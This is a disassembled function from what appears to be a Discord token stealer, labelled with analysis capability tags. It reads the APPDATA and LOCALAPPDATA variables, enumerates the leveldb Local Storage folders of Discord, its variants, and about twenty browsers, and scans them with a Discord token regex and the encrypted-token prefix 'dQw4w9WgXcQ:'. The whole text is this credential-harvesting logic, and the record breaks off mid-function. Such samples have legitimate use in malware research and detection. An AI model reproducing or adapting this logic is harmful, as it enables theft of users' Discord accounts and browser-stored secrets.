Function at 0x101060e0
Capabilities:
Contain obfuscated stackstrings
Query environment variable

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x101592b0
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1f88
call fcn.1014fda0
push esi
push edi
lea edi, [ebp - 0x1998]
mov ecx, 0x662
mov eax, 0xcccccccc
rep stosd dword es:[edi], eax
mov eax, dword [0x10191a80]
xor eax, ebp
mov dword [ebp - 0x14], eax
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x17ec], 0
mov ecx, 0x10199808
call fcn.1014e9b0
push 0x34
lea ecx, [ebp - 0x4c]
call fcn.10129ad0
push 1
push str.dQw4w9WgXcQ:___
lea ecx, [ebp - 0x4c]
call fcn.100edda0
mov dword [ebp - 4], 0
push 0x34
lea ecx, [ebp - 0x88]
call fcn.10129ad0
push 1
push str._w__24._w__6._w__25_110
lea ecx, [ebp - 0x88]
call fcn.100edda0
mov byte [ebp - 4], 1
mov esi, esp
push str.localappdata
call dword [sym.imp.ucrtbased.dll_getenv]
add esp, 4
cmp esi, esp
call fcn.1014e980
mov dword [ebp - 0x94], eax
mov esi, esp
push str.appdata
call dword [sym.imp.ucrtbased.dll_getenv]
add esp, 4
cmp esi, esp
call fcn.1014e980
mov dword [ebp - 0xa0], eax
push 0x28
lea ecx, [ebp - 0xd0]
call fcn.1012a2a0
push str.discordLocal_Storageleveldb_
mov eax, dword [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xac8]
call fcn.10004910
mov dword [ebp - 0x1de8], eax
mov ecx, dword [ebp - 0x1de8]
mov dword [ebp - 0x1dec], ecx
mov byte [ebp - 4], 2
mov edx, dword [ebp - 0x1dec]
push edx
lea eax, [ebp - 0xaec]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1df0], eax
mov ecx, dword [ebp - 0x1df0]
mov dword [ebp - 0x1df4], ecx
mov byte [ebp - 4], 3
mov edx, dword [ebp - 0x1df4]
push edx
push str.Discord
lea ecx, [ebp - 0x1de0]
call fcn.100b5010
mov byte [ebp - 4], 4
push str.discordcanaryLocal_Storageleveldb_
mov eax, dword [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xb10]
call fcn.10004910
mov dword [ebp - 0x1df8], eax
mov ecx, dword [ebp - 0x1df8]
mov dword [ebp - 0x1dfc], ecx
mov byte [ebp - 4], 5
mov edx, dword [ebp - 0x1dfc]
push edx
lea eax, [ebp - 0xb34]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e00], eax
mov ecx, dword [ebp - 0x1e00]
mov dword [ebp - 0x1e04], ecx
mov byte [ebp - 4], 6
mov edx, dword [ebp - 0x1e04]
push edx
push str.Discord_Canary
lea ecx, [ebp - 0x1da8]
call fcn.100b5850
mov byte [ebp - 4], 7
push str.LightcordLocal_Storageleveldb_
mov eax, dword [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xb58]
call fcn.10004910
mov dword [ebp - 0x1e08], eax
mov ecx, dword [ebp - 0x1e08]
mov dword [ebp - 0x1e0c], ecx
mov byte [ebp - 4], 8
mov edx, dword [ebp - 0x1e0c]
push edx
lea eax, [ebp - 0xb7c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e10], eax
mov ecx, dword [ebp - 0x1e10]
mov dword [ebp - 0x1e14], ecx
mov byte [ebp - 4], 9
mov edx, dword [ebp - 0x1e14]
push edx
push str.Lightcord
lea ecx, [ebp - 0x1d70]
call fcn.100b5110
mov byte [ebp - 4], 0xa
push str.discordptbLocal_Storageleveldb_
mov eax, dword [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xba0]
call fcn.10004910
mov dword [ebp - 0x1e18], eax
mov ecx, dword [ebp - 0x1e18]
mov dword [ebp - 0x1e1c], ecx
mov byte [ebp - 4], 0xb
mov edx, dword [ebp - 0x1e1c]
push edx
lea eax, [ebp - 0xbc4]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e20], eax
mov ecx, dword [ebp - 0x1e20]
mov dword [ebp - 0x1e24], ecx
mov byte [ebp - 4], 0xc
mov edx, dword [ebp - 0x1e24]
push edx
push str.Discord_PTB
lea ecx, [ebp - 0x1d38]
call fcn.100b57d0
mov byte [ebp - 4], 0xd
push str.Opera_SoftwareOpera_StableLocal_Storageleveldb_
mov eax, dword [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xbe8]
call fcn.10004910
mov dword [ebp - 0x1e28], eax
mov ecx, dword [ebp - 0x1e28]
mov dword [ebp - 0x1e2c], ecx
mov byte [ebp - 4], 0xe
mov edx, dword [ebp - 0x1e2c]
push edx
lea eax, [ebp - 0xc0c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e30], eax
mov ecx, dword [ebp - 0x1e30]
mov dword [ebp - 0x1e34], ecx
mov byte [ebp - 4], 0xf
mov edx, dword [ebp - 0x1e34]
push edx
push str.Opera
lea ecx, [ebp - 0x1d00]
call fcn.100b4f10
mov byte [ebp - 4], 0x10
push str.Opera_SoftwareOpera_GX_StableLocal_Storageleveldb_
mov eax, dword [ebp - 0xa0]
push eax
lea ecx, [ebp - 0xc30]
call fcn.10004910
mov dword [ebp - 0x1e38], eax
mov ecx, dword [ebp - 0x1e38]
mov dword [ebp - 0x1e3c], ecx
mov byte [ebp - 4], 0x11
mov edx, dword [ebp - 0x1e3c]
push edx
lea eax, [ebp - 0xc54]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e40], eax
mov ecx, dword [ebp - 0x1e40]
mov dword [ebp - 0x1e44], ecx
mov byte [ebp - 4], 0x12
mov edx, dword [ebp - 0x1e44]
push edx
push str.Opera_GX
lea ecx, [ebp - 0x1cc8]
call fcn.100b5090
mov byte [ebp - 4], 0x13
push str.AmigoUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xc78]
call fcn.10004910
mov dword [ebp - 0x1e48], eax
mov ecx, dword [ebp - 0x1e48]
mov dword [ebp - 0x1e4c], ecx
mov byte [ebp - 4], 0x14
mov edx, dword [ebp - 0x1e4c]
push edx
lea eax, [ebp - 0xc9c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e50], eax
mov ecx, dword [ebp - 0x1e50]
mov dword [ebp - 0x1e54], ecx
mov byte [ebp - 4], 0x15
mov edx, dword [ebp - 0x1e54]
push edx
push str.Amigo
lea ecx, [ebp - 0x1c90]
call fcn.100b4f10
mov byte [ebp - 4], 0x16
push str.TorchUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xcc0]
call fcn.10004910
mov dword [ebp - 0x1e58], eax
mov ecx, dword [ebp - 0x1e58]
mov dword [ebp - 0x1e5c], ecx
mov byte [ebp - 4], 0x17
mov edx, dword [ebp - 0x1e5c]
push edx
lea eax, [ebp - 0xce4]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e60], eax
mov ecx, dword [ebp - 0x1e60]
mov dword [ebp - 0x1e64], ecx
mov byte [ebp - 4], 0x18
mov edx, dword [ebp - 0x1e64]
push edx
push str.Torch
lea ecx, [ebp - 0x1c58]
call fcn.100b4f10
mov byte [ebp - 4], 0x19
push str.KometaUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xd08]
call fcn.10004910
mov dword [ebp - 0x1e68], eax
mov ecx, dword [ebp - 0x1e68]
mov dword [ebp - 0x1e6c], ecx
mov byte [ebp - 4], 0x1a
mov edx, dword [ebp - 0x1e6c]
push edx
lea eax, [ebp - 0xd2c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e70], eax
mov ecx, dword [ebp - 0x1e70]
mov dword [ebp - 0x1e74], ecx
mov byte [ebp - 4], 0x1b
mov edx, dword [ebp - 0x1e74]
push edx
push str.Kometa
lea ecx, [ebp - 0x1c20]
call fcn.100b4f90
mov byte [ebp - 4], 0x1c
push str.OrbitumUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xd50]
call fcn.10004910
mov dword [ebp - 0x1e78], eax
mov ecx, dword [ebp - 0x1e78]
mov dword [ebp - 0x1e7c], ecx
mov byte [ebp - 4], 0x1d
mov edx, dword [ebp - 0x1e7c]
push edx
lea eax, [ebp - 0xd74]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e80], eax
mov ecx, dword [ebp - 0x1e80]
mov dword [ebp - 0x1e84], ecx
mov byte [ebp - 4], 0x1e
mov edx, dword [ebp - 0x1e84]
push edx
push str.Orbitum
lea ecx, [ebp - 0x1be8]
call fcn.100b5010
mov byte [ebp - 4], 0x1f
push str.CentBrowserUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xd98]
call fcn.10004910
mov dword [ebp - 0x1e88], eax
mov ecx, dword [ebp - 0x1e88]
mov dword [ebp - 0x1e8c], ecx
mov byte [ebp - 4], 0x20
mov edx, dword [ebp - 0x1e8c]
push edx
lea eax, [ebp - 0xdbc]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1e90], eax
mov ecx, dword [ebp - 0x1e90]
mov dword [ebp - 0x1e94], ecx
mov byte [ebp - 4], 0x21
mov edx, dword [ebp - 0x1e94]
push edx
push str.CentBrowser
lea ecx, [ebp - 0x1bb0]
call fcn.100b57d0
mov byte [ebp - 4], 0x22
push str.7Star7StarUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xde0]
call fcn.10004910
mov dword [ebp - 0x1e98], eax
mov ecx, dword [ebp - 0x1e98]
mov dword [ebp - 0x1e9c], ecx
mov byte [ebp - 4], 0x23
mov edx, dword [ebp - 0x1e9c]
push edx
lea eax, [ebp - 0xe04]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1ea0], eax
mov ecx, dword [ebp - 0x1ea0]
mov dword [ebp - 0x1ea4], ecx
mov byte [ebp - 4], 0x24
mov edx, dword [ebp - 0x1ea4]
push edx
push str.7Star
lea ecx, [ebp - 0x1b78]
call fcn.100b4f10
mov byte [ebp - 4], 0x25
push str.SputnikSputnikUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xe28]
call fcn.10004910
mov dword [ebp - 0x1ea8], eax
mov ecx, dword [ebp - 0x1ea8]
mov dword [ebp - 0x1eac], ecx
mov byte [ebp - 4], 0x26
mov edx, dword [ebp - 0x1eac]
push edx
lea eax, [ebp - 0xe4c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1eb0], eax
mov ecx, dword [ebp - 0x1eb0]
mov dword [ebp - 0x1eb4], ecx
mov byte [ebp - 4], 0x27
mov edx, dword [ebp - 0x1eb4]
push edx
push str.Sputnik
lea ecx, [ebp - 0x1b40]
call fcn.100b5010
mov byte [ebp - 4], 0x28
push str.VivaldiUser_DataDefaultLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xe70]
call fcn.10004910
mov dword [ebp - 0x1eb8], eax
mov ecx, dword [ebp - 0x1eb8]
mov dword [ebp - 0x1ebc], ecx
mov byte [ebp - 4], 0x29
mov edx, dword [ebp - 0x1ebc]
push edx
lea eax, [ebp - 0xe94]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1ec0], eax
mov ecx, dword [ebp - 0x1ec0]
mov dword [ebp - 0x1ec4], ecx
mov byte [ebp - 4], 0x2a
mov edx, dword [ebp - 0x1ec4]
push edx
push str.Vivaldi
lea ecx, [ebp - 0x1b08]
call fcn.100b5010
mov byte [ebp - 4], 0x2b
push str.GoogleChrome_SxSUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xeb8]
call fcn.10004910
mov dword [ebp - 0x1ec8], eax
mov ecx, dword [ebp - 0x1ec8]
mov dword [ebp - 0x1ecc], ecx
mov byte [ebp - 4], 0x2c
mov edx, dword [ebp - 0x1ecc]
push edx
lea eax, [ebp - 0xedc]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1ed0], eax
mov ecx, dword [ebp - 0x1ed0]
mov dword [ebp - 0x1ed4], ecx
mov byte [ebp - 4], 0x2d
mov edx, dword [ebp - 0x1ed4]
push edx
push str.Chrome_SxS
lea ecx, [ebp - 0x1ad0]
call fcn.100b56e0
mov byte [ebp - 4], 0x2e
push str.GoogleChromeUser_DataDefaultLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xf00]
call fcn.10004910
mov dword [ebp - 0x1ed8], eax
mov ecx, dword [ebp - 0x1ed8]
mov dword [ebp - 0x1edc], ecx
mov byte [ebp - 4], 0x2f
mov edx, dword [ebp - 0x1edc]
push edx
lea eax, [ebp - 0xf24]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1ee0], eax
mov ecx, dword [ebp - 0x1ee0]
mov dword [ebp - 0x1ee4], ecx
mov byte [ebp - 4], 0x30
mov edx, dword [ebp - 0x1ee4]
push edx
push str.Chrome
lea ecx, [ebp - 0x1a98]
call fcn.100b4f90
mov byte [ebp - 4], 0x31
push str.GoogleChromeUser_DataProfile_1Local_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xf48]
call fcn.10004910
mov dword [ebp - 0x1ee8], eax
mov ecx, dword [ebp - 0x1ee8]
mov dword [ebp - 0x1eec], ecx
mov byte [ebp - 4], 0x32
mov edx, dword [ebp - 0x1eec]
push edx
lea eax, [ebp - 0xf6c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1ef0], eax
mov ecx, dword [ebp - 0x1ef0]
mov dword [ebp - 0x1ef4], ecx
mov byte [ebp - 4], 0x33
mov edx, dword [ebp - 0x1ef4]
push edx
push str.Chrome1
lea ecx, [ebp - 0x1a60]
call fcn.100b5010
mov byte [ebp - 4], 0x34
push str.GoogleChromeUser_DataProfile_2Local_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xf90]
call fcn.10004910
mov dword [ebp - 0x1ef8], eax
mov ecx, dword [ebp - 0x1ef8]
mov dword [ebp - 0x1efc], ecx
mov byte [ebp - 4], 0x35
mov edx, dword [ebp - 0x1efc]
push edx
lea eax, [ebp - 0xfb4]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f00], eax
mov ecx, dword [ebp - 0x1f00]
mov dword [ebp - 0x1f04], ecx
mov byte [ebp - 4], 0x36
mov edx, dword [ebp - 0x1f04]
push edx
push str.Chrome2
lea ecx, [ebp - 0x1a28]
call fcn.100b5010
mov byte [ebp - 4], 0x37
push str.GoogleChromeUser_DataProfile_3Local_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0xfd8]
call fcn.10004910
mov dword [ebp - 0x1f08], eax
mov ecx, dword [ebp - 0x1f08]
mov dword [ebp - 0x1f0c], ecx
mov byte [ebp - 4], 0x38
mov edx, dword [ebp - 0x1f0c]
push edx
lea eax, [ebp - 0xffc]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f10], eax
mov ecx, dword [ebp - 0x1f10]
mov dword [ebp - 0x1f14], ecx
mov byte [ebp - 4], 0x39
mov edx, dword [ebp - 0x1f14]
push edx
push str.Chrome3
lea ecx, [ebp - 0x19f0]
call fcn.100b5010
mov byte [ebp - 4], 0x3a
push str.GoogleChromeUser_DataProfile_4Local_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x1020]
call fcn.10004910
mov dword [ebp - 0x1f18], eax
mov ecx, dword [ebp - 0x1f18]
mov dword [ebp - 0x1f1c], ecx
mov byte [ebp - 4], 0x3b
mov edx, dword [ebp - 0x1f1c]
push edx
lea eax, [ebp - 0x1044]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f20], eax
mov ecx, dword [ebp - 0x1f20]
mov dword [ebp - 0x1f24], ecx
mov byte [ebp - 4], 0x3c
mov edx, dword [ebp - 0x1f24]
push edx
push str.Chrome4
lea ecx, [ebp - 0x19b8]
call fcn.100b5010
mov byte [ebp - 4], 0x3d
push str.GoogleChromeUser_DataProfile_5Local_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x1068]
call fcn.10004910
mov dword [ebp - 0x1f28], eax
mov ecx, dword [ebp - 0x1f28]
mov dword [ebp - 0x1f2c], ecx
mov byte [ebp - 4], 0x3e
mov edx, dword [ebp - 0x1f2c]
push edx
lea eax, [ebp - 0x108c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f30], eax
mov ecx, dword [ebp - 0x1f30]
mov dword [ebp - 0x1f34], ecx
mov byte [ebp - 4], 0x3f
mov edx, dword [ebp - 0x1f34]
push edx
push str.Chrome5
lea ecx, [ebp - 0x1980]
call fcn.100b5010
mov byte [ebp - 4], 0x40
push str.Epic_Privacy_BrowserUser_DataLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x10b0]
call fcn.10004910
mov dword [ebp - 0x1f38], eax
mov ecx, dword [ebp - 0x1f38]
mov dword [ebp - 0x1f3c], ecx
mov byte [ebp - 4], 0x41
mov edx, dword [ebp - 0x1f3c]
push edx
lea eax, [ebp - 0x10d4]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f40], eax
mov ecx, dword [ebp - 0x1f40]
mov dword [ebp - 0x1f44], ecx
mov byte [ebp - 4], 0x42
mov edx, dword [ebp - 0x1f44]
push edx
push str.Epic_Privacy_Browser
lea ecx, [ebp - 0x1948]
call fcn.100b5270
mov byte [ebp - 4], 0x43
push str.MicrosoftEdgeUser_DataDefaultLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x10f8]
call fcn.10004910
mov dword [ebp - 0x1f48], eax
mov ecx, dword [ebp - 0x1f48]
mov dword [ebp - 0x1f4c], ecx
mov byte [ebp - 4], 0x44
mov edx, dword [ebp - 0x1f4c]
push edx
lea eax, [ebp - 0x111c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f50], eax
mov ecx, dword [ebp - 0x1f50]
mov dword [ebp - 0x1f54], ecx
mov byte [ebp - 4], 0x45
mov edx, dword [ebp - 0x1f54]
push edx
push str.Microsoft_Edge
lea ecx, [ebp - 0x1910]
call fcn.100b5850
mov byte [ebp - 4], 0x46
push str.uCozMediaUranUser_DataDefaultLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x1140]
call fcn.10004910
mov dword [ebp - 0x1f58], eax
mov ecx, dword [ebp - 0x1f58]
mov dword [ebp - 0x1f5c], ecx
mov byte [ebp - 4], 0x47
mov edx, dword [ebp - 0x1f5c]
push edx
lea eax, [ebp - 0x1164]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f60], eax
mov ecx, dword [ebp - 0x1f60]
mov dword [ebp - 0x1f64], ecx
mov byte [ebp - 4], 0x48
mov edx, dword [ebp - 0x1f64]
push edx
push str.Uran
lea ecx, [ebp - 0x18d8]
call fcn.100b4e90
mov byte [ebp - 4], 0x49
push str.YandexYandexBrowserUser_DataDefaultLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x1188]
call fcn.10004910
mov dword [ebp - 0x1f68], eax
mov ecx, dword [ebp - 0x1f68]
mov dword [ebp - 0x1f6c], ecx
mov byte [ebp - 4], 0x4a
mov edx, dword [ebp - 0x1f6c]
push edx
lea eax, [ebp - 0x11ac]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f70], eax
mov ecx, dword [ebp - 0x1f70]
mov dword [ebp - 0x1f74], ecx
mov byte [ebp - 4], 0x4b
mov edx, dword [ebp - 0x1f74]
push edx
push str.Yandex
lea ecx, [ebp - 0x18a0]
call fcn.100b4f90
mov byte [ebp - 4], 0x4c
push str.BraveSoftwareBrave_BrowserUser_DataDefaultLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x11d0]
call fcn.10004910
mov dword [ebp - 0x1f78], eax
mov ecx, dword [ebp - 0x1f78]
mov dword [ebp - 0x1f7c], ecx
mov byte [ebp - 4], 0x4d
mov edx, dword [ebp - 0x1f7c]
push edx
lea eax, [ebp - 0x11f4]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f80], eax
mov ecx, dword [ebp - 0x1f80]
mov dword [ebp - 0x1f84], ecx
mov byte [ebp - 4], 0x4e
mov edx, dword [ebp - 0x1f84]
push edx
push str.Brave
lea ecx, [ebp - 0x1868]
call fcn.100b4f10
mov byte [ebp - 4], 0x4f
push str.IridiumUser_DataDefaultLocal_Storageleveldb_
mov eax, dword [ebp - 0x94]
push eax
lea ecx, [ebp - 0x1218]
call fcn.10004910
mov dword [ebp - 0x1f88], eax
mov ecx, dword [ebp - 0x1f88]
mov dword [ebp - 0x1f8c], ecx
mov byte [ebp - 4], 0x50
mov edx, dword [ebp - 0x1f8c]
push edx
lea eax, [ebp - 0x123c]
push eax
call fcn.10003830
add esp, 0xc
mov dword [ebp - 0x1f90], eax
mov ecx, dword [ebp - 0x1f90]
mov dword [ebp - 0x1f94], ecx
mov byte [ebp - 4], 0x51
mov edx, dword [ebp - 0x1f94]
push edx
push str.Iridium
lea ecx, [ebp - 0x1830]
call fcn.100b5010
mov byte [ebp - 4], 0x86
lea eax, [ebp - 0x17f8]
push eax
lea ecx, [ebp - 0x1de0]
push ecx
lea ecx, [ebp - 0x124c]
call fcn.100ef010
mov edx, dword [eax + 4]
push edx
mov eax, dword [eax]
push eax
lea ecx, [ebp - 0xd0]
call fcn.100f0ab0
mov byte [ebp - 4], 0x88
push fcn.100f7710
push 0x1b
push 0x38
lea ecx, [ebp - 0x1de0]
push ecx
call fcn.1014ebc0
mov byte [ebp - 4], 0x89
lea ecx, [ebp - 0x123c]
call fcn.10005120
mov byte [ebp - 4], 0x8a
lea ecx, [ebp - 0x1218]
call fcn.10005120
mov byte [ebp - 4], 0x8b
lea ecx, [ebp - 0x11f4]
call fcn.10005120
mov byte [ebp - 4], 0x8c
lea ecx, [ebp - 0x11d0]
call fcn.10005120
mov byte [ebp - 4], 0x8d
lea ecx, [ebp - 0x11ac]
call fcn.10005120
mov byte [ebp - 4], 0x8e
lea ecx, [ebp - 0x1188]
call fcn.10005120
mov byte [ebp - 4], 0x8f
lea ecx, [ebp - 0x1164]
call fcn.10005120
mov byte [ebp - 4], 0x90
lea ecx, [ebp - 0x1140]
call fcn.10005120
mov byte [ebp - 4], 0x91
lea ecx, [ebp - 0x111c]
call fcn.10005120
mov byte [ebp - 4], 0x92
lea ecx, [ebp - 0x10f8]
call fcn.10005120
mov byte [ebp - 4], 0x93
lea ecx, [ebp - 0x10d4]
call fcn.10005120
mov byte [ebp - 4], 0x94
lea ecx, [ebp - 0x10b0]
call fcn.10005120
mov byte [ebp - 4], 0x95
lea ecx, [ebp - 0x108c]
call fcn.10005120
mov byte [ebp - 4], 0x96
lea ecx, [ebp - 0x1068]
call fcn.10005120
mov byte [ebp - 4], 0x97
lea ecx, [ebp - 0x1044]
call fcn.10005120
mov byte [ebp - 4], 0x98
lea ecx, [ebp - 0x1020]
call fcn.10005120
mov byte [ebp - 4], 0x99
lea ecx, [ebp - 0xffc]
call fcn.10005120
mov byte [ebp - 4], 0x9a
lea ecx, [ebp - 0xfd8]
call fcn.10005120
mov byte [ebp - 4], 0x9b
lea ecx, [ebp - 0xfb4]
call fcn.10005120
mov byte [ebp - 4], 0x9c
lea ecx, [ebp - 0xf90]
call fcn.10005120
mov byte [ebp - 4], 0x9d
lea ecx, [ebp - 0xf6c]
call fcn.10005120
mov byte [ebp - 4], 0x9e
lea ecx, [ebp - 0xf48]
call fcn.10005120
mov byte [ebp - 4], 0x9f
lea ecx, [ebp - 0xf24]
call fcn.10005120
mov byte [ebp - 4], 0xa0
lea ecx, [ebp - 0xf00]
call fcn.10005120
mov byte [ebp - 4], 0xa1
lea ecx, [ebp - 0xedc]
call fcn.10005120
mov byte [ebp - 4], 0xa2
lea ecx, [ebp - 0xeb8]
call fcn.10005120
mov byte [ebp - 4], 0xa3
lea ecx, [ebp - 0xe94]
call fcn.10005120
mov byte [ebp - 4], 0xa4
lea ecx, [ebp - 0xe70]
call fcn.10005120
mov byte [ebp - 4], 0xa5
lea ecx, [ebp - 0xe4c]
call fcn.10005120
mov byte [ebp - 4], 0xa6
lea ecx, [ebp - 0xe28]
call fcn.10005120
mov byte [ebp - 4], 0xa7
lea ecx, [ebp - 0xe04]
call fcn.10005120
mov byte [ebp - 4], 0xa8
lea ecx, [ebp - 0xde0]
call fcn.10005120
mov byte [ebp - 4], 0xa9
lea ecx, [ebp - 0xdbc]
call fcn.10005120
mov byte [ebp - 4], 0xaa
lea ecx, [ebp - 0xd98]
call fcn.10005120
mov byte [ebp - 4], 0xab
lea ecx, [ebp - 0xd74]
call fcn.10005120
mov byte [ebp - 4], 0xac
lea ecx, [ebp - 0xd50]
call fcn.10005120
mov byte [ebp - 4], 0xad
lea ecx, [ebp - 0xd2c]
call fcn.10005120
mov byte [ebp - 4], 0xae
lea ecx, [ebp - 0xd08]
call fcn.10005120
mov byte [ebp - 4], 0xaf
lea ecx, [ebp - 0xce4]
call fcn.10005120
mov byte [ebp - 4], 0xb0
lea ecx, [ebp - 0xcc0]
call fcn.10005120
mov byte [ebp - 4], 0xb1
lea ecx, [ebp - 0xc9c]
call fcn.10005120
mov byte [ebp - 4], 0xb2
lea ecx, [ebp - 0xc78]
call fcn.10005120
mov byte [ebp - 4], 0xb3
lea ecx, [ebp - 0xc54]
call fcn.10005120
mov byte [ebp - 4], 0xb4
lea ecx, [ebp - 0xc30]
call fcn.10005120
mov byte [ebp - 4], 0xb5
lea ecx, [ebp - 0xc0c]
call fcn.10005120
mov byte [ebp - 4], 0xb6
lea ecx, [ebp - 0xbe8]
call fcn.10005120
mov byte [ebp - 4], 0xb7
lea ecx, [ebp - 0xbc4]
call fcn.10005120
mov byte [ebp - 4], 0xb8
lea ecx, [ebp - 0xba0]
call fcn.10005120
mov byte [ebp - 4], 0xb9
lea ecx, [ebp - 0xb7c]
call fcn.10005120
mov byte [ebp - 4], 0xba
lea ecx, [ebp - 0xb58]
call fcn.10005120
mov byte [ebp - 4], 0xbb
lea ecx, [ebp - 0xb34]
call fcn.10005120
mov byte [ebp - 4], 0xbc
lea ecx, [ebp - 0xb10]
call fcn.10005120
mov byte [ebp - 4], 0xbd
lea ecx, [ebp - 0xaec]
call fcn.10005120
mov byte [ebp - 4], 0xbe
lea ecx, [ebp - 0xac8]
call fcn.10005120
lea eax, [ebp - 0xd0]
mov dword [ebp - 0xdc], eax
push 4
lea ecx, [ebp - 0xe8]
call fcn.10129120
lea eax, [ebp - 0xe8]
push eax
mov ecx, dword [ebp - 0xdc]
call fcn.101254b0
push 4
lea ecx, [ebp - 0xf4]
call fcn.10129120
lea eax, [ebp - 0xf4]
push eax
mov ecx, dword [ebp - 0xdc]
call fcn.10125a10
jmp 0x101071d6
lea ecx, [ebp - 0xe8]
call fcn.100fe140
lea eax, [ebp - 0xf4]
push eax
lea ecx, [ebp - 0xe8]
call fcn.100fb640
movzx ecx, al
test ecx, ecx
je 0x101081a7
lea ecx, [ebp - 0xe8]
call fcn.100fd4b0
mov dword [ebp - 0x100], eax
mov eax, dword [ebp - 0x100]
push eax
call fcn.100df9e0
add esp, 4
mov dword [ebp - 0x10c], eax
mov eax, dword [ebp - 0x100]
push eax
call fcn.100df9a0
add esp, 4
mov dword [ebp - 0x118], eax
push 0
mov eax, dword [ebp - 0x118]
push eax
lea ecx, [ebp - 0x127c]
call fcn.100b99d0
mov byte [ebp - 4], 0xbf
lea ecx, [ebp - 0x127c]
push ecx
call fcn.101340f0
add esp, 4
movzx edx, al
test edx, edx
jne 0x10107268
mov dword [ebp - 0x1de8], 1
jmp 0x10107272
mov dword [ebp - 0x1de8], 0
mov al, byte [ebp - 0x1de8]
mov byte [ebp - 0x1255], al
mov byte [ebp - 4], 0xbe
lea ecx, [ebp - 0x127c]
call fcn.100f9b20
movzx ecx, byte [ebp - 0x1255]
test ecx, ecx
je 0x1010729d
jmp 0x101071cb
lea ecx, [ebp - 0x13c]
call fcn.100ee500
mov byte [ebp - 4], 0xc0
xor eax, eax
mov byte [ebp - 0x1285], al
mov cl, byte [ebp - 0x1285]
mov byte [ebp - 0x12cd], cl
mov dl, byte [ebp - 0x12cd]
mov byte [ebp - 0x12e5], dl
mov al, byte [ebp - 0x12e5]
mov byte [ebp - 0x12fd], al
lea ecx, [ebp - 0x13c]
push ecx
lea edx, [ebp - 0x1294]
push edx
call fcn.100d6e80
add esp, 8
mov eax, dword [eax]
mov dword [ebp - 0x12c4], eax
mov ecx, dword [ebp - 0x12c4]
mov dword [ebp - 0x12dc], ecx
mov edx, dword [ebp - 0x12dc]
mov dword [ebp - 0x12f4], edx
movzx eax, byte [ebp - 0x12fd]
push eax
mov ecx, dword [ebp - 0x12f4]
push ecx
sub esp, 0xc
mov edx, esp
mov dword [ebp - 0x12a0], esp
push edx
mov ecx, dword [ebp - 0x10c]
call fcn.10132220
sub esp, 0xc
mov eax, esp
mov dword [ebp - 0x12ac], esp
push eax
mov ecx, dword [ebp - 0x10c]
